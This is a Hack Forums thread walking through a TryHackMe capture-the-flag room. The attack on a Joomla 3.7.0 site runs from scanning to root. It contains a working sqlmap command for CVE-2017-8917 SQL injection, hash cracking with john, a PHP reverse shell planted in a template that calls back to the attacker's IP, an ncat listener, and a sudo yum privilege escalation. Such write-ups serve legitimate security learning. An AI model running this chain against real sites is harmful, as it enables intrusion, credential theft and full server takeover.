Forum:Hack Forums

Thread: [Joomla Hacking] Joomscan, SQLi, Dict. Atk, Reverse php shell, YUM Priv. escal. #4

slober - *April 19, 2020, 6:50 am*

[Joomla hacking] Joomscan, SQLi, Dict. Atk, Reverse php shell, Priv. escalation #4

Welcome once again this corona crisis is increasing my productivity I truly hope this isn't some kind of phase.
Well, let's continue!

In this example, I'm going to attack a Joomla website to capture two flags a user and a root flag this challenge was a bit harder than the LFI one obviously?

when visiting the IP I'm getting a nice looking website about spiderman.

It looks like it would be a Joomla website. First things first we should scan this site get a version number may be some interesting directories.
We need to start somewhere right?

There is an excellent tool for that it's called joomsan and you can find it over here
Code https://github.com/rezasp/joomscan
One disadvantage if you could call it that. Perl doesn't run on windows by default so you should install it there are two big ones
Active Perl and Strawberry Perl I've gone with the strawberry one, no reason in particular.
You can download them from their official source:
Code https://www.perl.org/get.html#win32
Great once you've installed it downloaded the github repository you could run it by typing Perl ./joomscan.pl -u
In my case it was Perl ./joomscan.pl -u http://10.10.113.70/
Code Perl ./joomscan.pl -u http://10.10.113.70/

This should give a result similar to this

We can see that the version of this Joomla installation is 3.7.0 let's find an exploit!
Code CVE-2017-8917
The CVE-2017-8917 is an SQL injection vulnerability and there is quite a lot of information about it.
At this point, we can go with two routes
Using SQLmap or using joomblah
SQLmap -> generic SQL injection tool quite well known but it's slower

joomblah -> specific made python script for this specific exploit pretty fast

If you want to use SQLmap you can find more information here
Code https://www.exploit-db.com/exploits/42033

Code sqlmap -u "http://[IP]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump --dbs -p list[fullordering]

I've used Joomblah. You can find this tool on GitHub just like you could find joomscan over there this is the URL
Code https://github.com/XiphosResearch/exploits/tree/master/Joomblah

I did have some trouble with missing modules etc but well, that wasn't a problem I've also had thorny installed (with built-in python 3.7) and it worked fine over there with some code tuning

you can download thorny here it's a pretty decent Python IDE in my opinion.
Code https://thonny.org/

Code troubles! some kind of type error kept popping up.
Code result += value
TypeError: must be str, not bytes

Well, as I've said you can quickly prevent this just by adding .decode("utf-8") at the end of value this will convert the byte to str for you.
Code .decode("utf-8")

Once you've fixed the small error you can run it by typing %Run joomblah.py http://10.10.113.70
Code %Run joomblah.py http://10.10.113.70

It should give you an output similar to this

Finally some progress but still not a plain text password ?.
Code $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
save this string in a text document we'll need to use it later.

Let's use a tool for cracking it john the ripper brings back memories and it works on windows so that's a plus too!
I'm using a Dictionary attack with the rock you wordlist
Code John the Ripper: https://www.openwall.com/john/
Rock you wordlist: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

The encryption method used is bcrypt (should take around 7-9 minutes).
The usage of John is rather simple. john --wordlist=./rockyou.txt ./hash.txt and it'll run
Code john --wordlist=./rockyou.txt ./hash.txt

This was my output:

The password was in this case spiderman123

The reverse shell!
Let's do this! We are almost there.
With the credentials we've found earlier we can log into the Joomla administrator panel.
the location for the administrator login in a Joomla installation is by default /administrator

Success! let's upload a nice reverse shell.
You should go to extension->templates->templates

The template he had running was protostar so let's go over there.
We can edit this file and include our reverse shell. I'm using the pentest monkey reverse PHP shell you can find it here
Code https://github.com/pentestmonkey/php-reverse-shell

Add the code to the webpage (index.php for example) and you're almost done.

PHP Code

```
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.8.6.162';  // CHANGE THIS
$port = 1578;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

Edit the IP and port to your preferred values.
Okay, we spiked the index, another or even a new page. al we need to do now is create a listener back on our computer.
The most commonly used tool for this is netcat. I'm using ncat a windows alternative that doesn't make my antivirus turns into (...).
you can find it here it's from the same people that created nmap.

Code https://nmap.org/ncat/

you can create the listener by typing ncat -lv [LOCAL_IP] [PORT]
If you don't use multiple networks you can just type ncat -lv [PORT]

Sometimes your Firewall is iffy and you'll need to create an execution for this program

If all things work you should get this

and tada we now have a reverse shell running?
after some digging in various configuration files, I found this

The user used the same password multiple times. Let's try sshing

And my oh my it worked! I've logged in!

SSH and Priv. Escalation using YUM:
First I'm capturing my user flag DONE!

next is the root flag I need to escalate my privileges and gain root access
First I'll type sudo -l to see what options we have here
Code sudo -l
l -> stands for list it'll allow me to see what kind of things I can run as root

It appears that I can run Yum as a superuser lets find out how I can exploit this to spawn myself a root shell.
You can find some here https://gtfobins.github.io/
in my case I'm interested in this one:
Code https://gtfobins.github.io/gtfobins/yum/

copy and paste the b) code in your shell and you're done!
I now have a root shell

If you're not sure you can type whoami in your shell
Code whoami
I've captured my root flag and left the building!
I truly hope you've found it an interesting read, we did SQLi, a bit of python error fixing, dictionary attacks, uploaded a reverse shell, created a netcat listener, did some washing and elevated our privileges using YUM?

Spoiler (Click to View)
You can try this room yourself over at http://tryhackme.com/

BirdSec - *April 19, 2020, 9:07 am*
Nice tutorial, awesome layout and perfect for learning, thank you for your contribution, OP

nanx - *April 21, 2020, 10:25 am*

Its fine i guess will try it .. ??